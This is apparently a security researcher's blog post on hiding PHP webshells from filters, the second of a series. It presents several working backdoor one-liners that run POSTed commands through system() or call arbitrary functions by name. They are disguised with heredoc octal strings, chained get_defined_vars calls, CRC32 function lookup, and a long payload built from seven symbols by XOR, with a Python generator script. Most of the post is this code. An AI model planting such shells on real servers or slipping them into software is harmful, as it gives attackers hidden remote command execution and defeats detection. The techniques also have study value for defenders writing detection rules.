Hidden in plain sight - Part 2

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is commonly used while extracting data submitted by the user, through the variables $_GET or $_POST. I presented the following five techniques, retrieving POST’ed argument, being a bash command to be executed by system.

The latter could also be dynamically retrieved thanks to a variable function

//technique 1
echo system(filter_input(0, 'A'));
//technique 2
echo system(${"_"."POST"}["B"]);
//technique 3
echo system(file_get_contents("php://input"));
//technique 4
echo system(get_defined_vars()[array_keys(get_defined_vars())[1]]["C"]);
//technique 5
$x = '_'.'POST';
echo system($$x['D']);

However, my favourite webshell is something like $_GET['a']($_GET['b']) because it makes it possible to call any function that takes a single argument (string, array or null). However, as stated in the documentation:

Variable functions won’t work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like

and for some others, they cannot be dynamically called:

var_dump("get_def"."ined_vars"()); //okay
var_dump(("get_defin"."ed_vars")()); //also okay
$x="get_defined_vars"; var_dump($x()); //not okay
var_dump(($x="get_defined_vars")()); //also not okay

NOTE: eval cannot be used as variable function, since it is a language construct and not a true function

However, PHP is really (REALLY) permissive, and it’s quite easy to call most of the functions while hiding their name. Let’s discuss four techniques with their own peculiarities, executing something like:

$_GET['a']($_GET['b']);

Technique #1: No letters, no quotes

This first technique gets rid of quotes and letters, but using heredocs strings.

As the doc says:

A third way to delimit strings is the heredoc syntax: «<. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.

Heredocs makes it possible to create multiline strings, such as:

$var = <<<_
Hello world
_;

In this case, the identifier is a simple underscore symbol. Note that the new lines after the first marker and before the second one are not part of the string. It means that echo "*$var/"; would print *Hello world/.

Compared to nowdocs, heredocs are like double-quoted strings, which means that it interprets escaping sequences and performs string interpolation. Therefore, the following snippet of code would set the variable $x equal to the character 'a', written here is octal:

$x = <<<_
\141
_;

Variable functions can therefore be created:

$filter_input = <<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_;

and therefore, calling filter_input(0, 'a')(filter_input(0, 'b')) would be done as follows:

(<<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_)(0, <<<_
\141
_)((<<<_
\146\151\154\164\145\162\137\151\156\160\165\164
_)(0, <<<_
\142
_));

NOTE: enclosing heredoc strings between parentheses seems to be mandatory, a syntax error would be raised otherwise.

Variant with letters

Since heredoc strings perform string interpolation, the symbols can be resolved within the string:

$x = <<<_
    {${$_POST[0]($_POST[1])}}
_;

Or:

$x = <<<_
    {${${chr(95).chr(80).chr(79).chr(83).chr(84)}[0](${chr(95).chr(80).chr(79).chr(83).chr(84)}[1])}}
_;

Technique #2: One-liner with only two functions

This is an extension of the fourth technique using get_defined_vars and array_keys, by chaining them in order to dynamically resolve the function name and its argument. Let’s first print the result of get_defined_vars() (no other variables declared):

Array
(
    [_GET] => Array
        (
        )

    [_POST] => Array
        (
            [a] => system
            [b] => id
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )
)

The routine array_keys can be used to retrieve the first level of this 2D-array:

Array
(
    [0] => _GET
    [1] => _POST
    [2] => _COOKIE
    [3] => _FILES
)

To execute the expected payload, one should have something like:

$post_key = array_keys(get_defined_vars())[1]; //get 2nd key
$post_data = get_defined_vars()[$post_key]; //['a' => 'system', 'b' => 'id']
$post_data_keys = array_keys($post_data); // ['a', 'b']
$system = $post_data[$post_data_keys[0]]; //['a' => 'system', 'b' => 'id'][['a','b'][0]] = 'system'
$id = $post_data[$post_data_keys[1]]; //same at index 1
$system($id);

Let’s replace all local variables with function calls:

get_defined_vars()[array_keys(get_defined_vars())[1]][array_keys(get_defined_vars()[array_keys(get_defined_vars())[1]])[0]](get_defined_vars()[array_keys(get_defined_vars())[1]][array_keys(get_defined_vars()[array_keys(get_defined_vars())[1]])[1]]);

Technique #3: F*** the system

The routine get_defined_vars is handy, but it has a drawback: it cannot be used as a variable function, making it more difficult to hide. This third technique resolves function names without hardcoding them nor passing them as argument, and uses functions that do not suffer from the same restriction. The idea is quite simple: the list of defined functions is filtered with array_filter and a submitted criterion. The matching name is dynamically called, while forwarding the second POST’ed argument.

To begin with, the list of existing routines can be obtained as follows (snipped for brevity):

Array
(
    [internal] => Array
        (
            [0] => zend_version
            [1] => func_num_args
            [2] => func_get_arg
            ...
        )
    [user] => Array
        (
        )
)

The first element of this two-dimensional array (labelled as internal) contains the list of existing functions (i.e. not user-defined). A first approach could be to locate the index of system and hardcode its key, but the latter could change, depending on the PHP configuration (loaded modules, disabled functions, etc.), making this approach quite unstable. To make it more configuration-independent, this array could be filtered with a lambda function and the routine array_filter;

Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array.

Array keys are preserved, and may result in gaps if the array was indexed. The result array can be reindexed using the array_values() function.

To isolate the expected routine, we chose to filter on the CRC32 value (collisions may exist, though):

var_dump(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]));

The reset function is used here because get_defined_functions returns a 2D array, and we are interested only by get_defined_functions()["internal"] (the first element). Each element is then passed to crc32, which appends to its return value all the matching items. If no collision exists, it should contain a single element. Sending a=3377271179 in the POST’ed body would return system:

array(1) {
  [683]=>
  string(6) "system"
}

The result is a named array, hence reset can be used once again to keep only system name:

$sys = reset(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]));

One can now call the routine dynamically, passing the 2nd POST’ed argument:

reset(array_filter(reset(get_defined_functions()), fn($x) => crc32($x) == $_POST[chr(0x61)]))($_POST[chr(0x62)]);

NOTE: this technique can obviously be combined to others in order to hide the $_POST.

Technique #4: Only 7 characters

Ever heard about BrainF*ck ? This esoteric programming language made only of the symbols ><+-.,[] is more like a joke than a usable language. Alternatives have been created, such as the infamous JSF*ck, made only of six characters (()+[]!). A PHPf*ck was also created, using only seven symbols ([+.^]), but the latter is not compatible with PHP 8 (and later). An alternative exists for PHP 8, but it uses Foreign Function Interface, that is not always installed. Moreover, PHP8 makes it harder to execute code from string, since eval cannot be called as a variable function, assert does not evaluate any more the passed argument, preg_replace’s /e flag is deprecated, and create_function too.

I’m also aware that a version only uses 5 characters (mystiz.hk/posts/2021/2021-08-10-uiuctf-phpfuck/), but I wanted to do it without letters nor numbers. Still, their technique is really clever.

However, the goal here was not to evaluate something arbitrary, but to execute $_GET['A']($_GET['r']) (you will understand why ‘A’ and ‘r’, and not ‘a’ and ‘b’). I therefore had to find a way to call the routine filter_input_array to extract submitted data:

filter_input_array(int $type, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

This function is useful for retrieving many values without repetitively calling filter_input().

Fortunately, this routine only takes one argument, saving me the need to use the comma symbol. This first argument is supposed to be an integer:

  • 0: INPUT_POST;
  • 1: INPUT_GET ;
  • 2: INPUT_COOKIE ;
  • 3: undefined
  • 4: INPUT_ENV ;
  • 5: INPUT_SERVER.

Therefore, the not-so-obfuscated code should be as follows:

filter_input_array(0)["A"](filter_input_array(0)["r"]);

Building strings

The principle for JSF*ck or PHPf*ck is to build arbitrary strings to dynamically call variable functions, without using any letter or number. To do so, some primitives are obtained, and from this limited charset, other characters are computed. The primitive values are as follows:

[]     : can be translated to 'Array' if concatenated
![]    : true / 1
!![]   : false / empty string (similar to 0)
![]^![]: 0 / false

The difference between the two last elements is that the 3rd one is similar to false and an empty string, while the 4th one could also be represented as the string '0'

From these primitives, we can extract a charset. For instance, we can obtain the 'A' by extracting the first letter of the string 'Array'. However, the array must first be concatenated to 1 or another array to be considered as a string:

$x = ([].![]); // 'Array1'
$y = !![]; //false
$A = $x[$y]; // 'Array1'[0]

Therefore, the letter 'A' can be obtained with ([].![])[!![]]. Similarly, the letter 'r' can be obtained by doing the same at index 1: ([].![])[![]].

Since !![] and ![] are boolean/integers, being allowed to use the '+' symbol would significantly ease the process. The number 2 could be obtained with ![]+![], 3 with ![]+![]+![] and so on. Only numbers from 0 to 9 are sufficient to build any number, because it is possible to concatenate digits and turn them into numbers:

$a = (![].[])[!![]]; //'1', because it's '1Array'[0]
$b = ((![]^![]).[])[!![]]; // '0', because it's '0Array'[0]
$c = (![]^![])+(((![].[])[!![]]).(((![]^![]).[])[!![]])); // int(10)
//because it's the same as:
$c = (0 + '1'.'0'); 

Since the expression “adds” an integer and a string, the result is considered as a number with an implicit cast from string to integer. Another interesting thing is that an index expressed as a string would also be turned into an integer if such a value is expected and if possible. For instance:

echo "abcd"["X"]; // fails
echo "abcd"["2"]; // prints 'c'
echo "abcd"[2];   // also prints 'c'

This is also possible with the XOR operation without the ‘+’ symbol, but it would restrict the available numbers to those only made of 0 and 1: 10, 11, 100, etc.

However, we decided to not use the '+' symbol since it would be too easy, and to use only the numbers 0 and 1. To extract the letters 'a' and 'y' from 'Array', we therefore used a trick to extract the 11th character (index 10) of the string '11ArrayArray':

print_r((![].![].[].[])[![].(![]^![])]); // 'a'
//because it's the same as te following lines
print_r(('1'.'1'.'Array'.'Array')[(1).(1^1)]);
print_r(('11ArrayArray')[(1).(0)]);
print_r(('11ArrayArray')['1'.'0']);
print_r(('11ArrayArray')[10]);

Regarding the 'y', the principle is the same, but with a ![] less at the beginning: (![].[].[])[![].(![]^![])].

So far, the charset is as follows:

'A': 1000001: ([].![])[!![]]
'r': 1110010: ([].![])[![]]
'a': 1100001: (![].![].[].[])[![].(![]^![])]
'y': 1111001: (![].[].[])[![].(![]^![])]
'1': 0110001: ![].[][!![]]
'0': 0110000: (![]^![]).[][!![]]

Here comes the XOR

PHP also allows different types to be XORed against each other:

print_r(1 ^ 2);     // 3
print_r(1 ^ '2');   // 3
print_r(1 ^ 'A');   // fails, because 'A' cannot be cast
print_r('1' ^ 'A'); // p, because ASCII codes are XOR'ed

By doing magic with the available characters in the set, it is possible to obtain other letters:

'q': 1110001: '0' XOR 'A': (![]^![]).[][!![]] ^ ([].![])[!![]]
'B': 1000010: '0' XOR 'r': (![]^![]).[][!![]] ^ ([].![])[![]]
'Q': 1010001: '0' XOR 'a': (![]^![]).[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'I': 1001001: '0' XOR 'y': (![]^![]).[][!![]] ^ (![].[].[])[![].(![]^![])]
'p': 1110000: '1' XOR 'A': ![].[][!![]] ^ ([].![])[!![]]
'C': 1000011: '1' XOR 'r': ![].[][!![]] ^ ([].![])[![]]
'P': 1010000: '1' XOR 'a': ![].[][!![]] ^ (![].![].[].[])[![].(![]^![])]
'H': 1001000: '1' XOR 'y': ![].[][!![]] ^ (![].[].[])[![].(![]^![])]

The charset we have now is still too small to be able to obtain any character. We can realise that by taking a look at the binary codes of the obtained characters. None of them has its 5th bit set, which means that the XOR operation between them will always leave it cleared. Although it is possible to obtain more characters by XORing more than two operands, the 5th bit is annoying.

Finding a suitable character having this bit set was quite challenging. A first idea way to obtain it through the value INF:

var_dump(![]+((![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![]).(![])).[]);
//output: string(8) "INFArray"

This string starts with ![] to first consider the value as a number. Then, 309 (![]) are appended to build the number 11…1, translated into the value float(INF) (having only 308 times this pattern would give float(1.1111111111111112E+308)). Once this INF is obtained, it is concatenated with [] to turn it back into a string: 'INFArray'. Accessing the second letter ('N') would be useful since its ASCII code is 78 = 0b1001110.

However, this payload seemed a bit too big (it is only to get an intermediary variable in order to obtain a single character …), hence we decided to look for another approach.

The answer to everything

The legend says that THE ANSWER is in the digits of Pi, and indeed, that was my way to go. Indeed, the letters ‘P’ and ‘i’ both belong to the extended charset, making us able to call pi(). The pi routine returns the number 3.1415926535898. Casting this value as a string would make us able to extract the dot ('.') at index 1.

print_r(((((![].[][!![]]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]); // '.'
//because it is the same as:
print_r(('pI'().'Array')[1]);
print_r('3.1415926535898Array'[1]);

Another technique would extract the '4' instead. This character is at index 3, and we could access it by calling (pi().[])[pi()]. The float value would be treated as an integer while acting as an index, indeed returning (pi().'Array')[3] = '3.1415926535898Array'[3] = '4'

Once this value is obtained, the other digits can be computed, and translated as follows:

'0': 0110000 (![]^![]).[][!![]]
'1': 0110001 ![].[][!![]]
'2': 0110010 ([].![])[!![]]^([].![])[![]]^(![]^![]).[][!![]]^![].[][!![]]
'3': 0110011 ([].![])[!![]]^([].![])[![]]
'4': 0110100 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'5': 0110101 ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'6': 0110110 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'7': 0110111 (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]
'8': 0111000 ([].![])[!![]]^(![].[].[])[![].(![]^![])]
'9': 0111001 ([].![])[!![]]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]

Building the final payload

As stated earlier, the final payload should do something like:

filter_input_array(0)["A"](filter_input_array(0)["r"]);
//same as
filter_input_array(!![])["A"](filter_input_array(!![])["r"]);
//same as
filter_input_array(!![])[([].![])[!![]]](filter_input_array(!![])[([].![])[![]]]);

Since the strings 'A' and 'r' are part of the restricted charset, it is easier to use them as POST arguments. Last step is then to rebuild filter_input_array. The missing characters are:

f: '4'^'r':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
i: '0'^'y':         (![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]
l: '5'^'y':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
t: '5'^'a':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]
e: '7'^'r':         (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]
_: 'r'^'5'^'y'^'a': ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]
n: '7'^'y':         (![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]
p: '1'^'a':         ![].[][!![]]^(![].![].[].[])[![].(![]^![])]
u: '4'^'a':         ([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]

Note that the final 'array' in the function name can only be replaced by [], since PHP does not care about the case, and writing fIlTer_iNpuT_Array should be perfectly fine (same as "filter_input_".[]). Each letter is put between parentheses, and the final payload is as follows:

((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[!![]]](((([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^([].![])[![]]).(([].![])[![]]).( ([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]).((![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]).(![].[][!![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^![].[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].![].[].[])[![].(![]^![])]).(([].![])[![]]^([].![])[!![]]^([].![])[![]]^(![].![].[].[])[![].(![]^![])]^(![].[].[])[![].(![]^![])]^(![]^![]).[][!![]]^((((([].![])[!![]]^![].[][!![]]).((![]^![]).[][!![]]^(![].[].[])[![].(![]^![])]))()).[])[![]]^(![].[].[])[![].(![]^![])]^(![].![].[].[])[![].(![]^![])]).[])(!![])[([].![])[![]]])

Only 7 characters (:

To ease the process of symbols generation, the following python script has been created:

import itertools
x = [ord(_) for _ in ['A', 'r', 'a', 'y', '0', '1', '.']]
dico = {}
for lim in range(2, 4):
    for iter in itertools.combinations(x, lim):
        xored = reduce(lambda i, j: i ^ j, iter)
        if xored not in dico:
            dico[xored] = "^".join([chr(_) for _ in iter])
        if xored not in x:
            x.append(xored)
print(dico)

After the first round, all symbols in 0-255 are expressed as XOR operations, and some manipulations still need to be done to keep only primitives.

Conclusion

These techniques are not all completely new. They can be combined to evade filters depending on the needs, but the more complex they are, the easier it is to spot them during a manual analysis. Possibilities are endless, and since PHP is a malleable language, we only scratched the surface.

References

2024

Exploiting CVE-2024-27096

7 minute read

Intro A few weeks ago, I discovered during an intrusion test two vulnerabilities affecting GLPI 10.0.12, that was the latest public version at this time. The...

Back to Top ↑

2023

From SSRF to authentication bypass

4 minute read

I won’t insult you by explaining once again what JSON Web Tokens (JWTs) are, and how to attack them. A plethora of awesome articles exists on the Web, descri...

Hidden in plain sight - Part 2

12 minute read

A few days ago, I published a blog post about PHP webshells, ending with a discussion about filters evasion by getting rid of the pattern $_. The latter is c...

I want to talk to your managed code

12 minute read

TL;DR A few experiments about mixed managed/unmanaged assemblies. To begin with, we start by presenting a C# programme that hides a part of its payload in an...

Qakbot JScript dropper analysis

11 minute read

It was a sunny and warm summer afternoon, and while normal people would rush to the beach, I decided to devote myself to one of my favourite activities: suff...

CVE-2023-3033

3 minute read

This walkthrough presents another vulnerability discovered on the Mobatime web application (see CVE-2023-3032, same version 06.7.2022 affected). This vulnera...

CVE-2023-3032

less than 1 minute read

Mobatime offers various time-related products, such as check-in solutions. In versions up to 06.7.2022, an arbitrary file upload allowed an authenticated use...

CVE-2023-3031

less than 1 minute read

King-Avis is a Prestashop module developed by Webbax. In versions older than 17.3.15, the latter suffers from an authenticated path traversal, leading to loc...

FuckFastCGI made simpler

3 minute read

Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functio...

PHP .user.ini risks

7 minute read

I have to admit, PHP is not my favourite, but such powerful language sometimes really amazes me. Two days ago, I found a bypass of the directive open_basedir...

PHP open_basedir bypass

3 minute read

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaini...

Back to Top ↑

2020

Self modifying C program - Polymorphic

17 minute read

A few weeks ago, a good friend of mine asked me if it was possible to create such a program, as it could modify itself. After some thoughts, I answered that ...

Back to Top ↑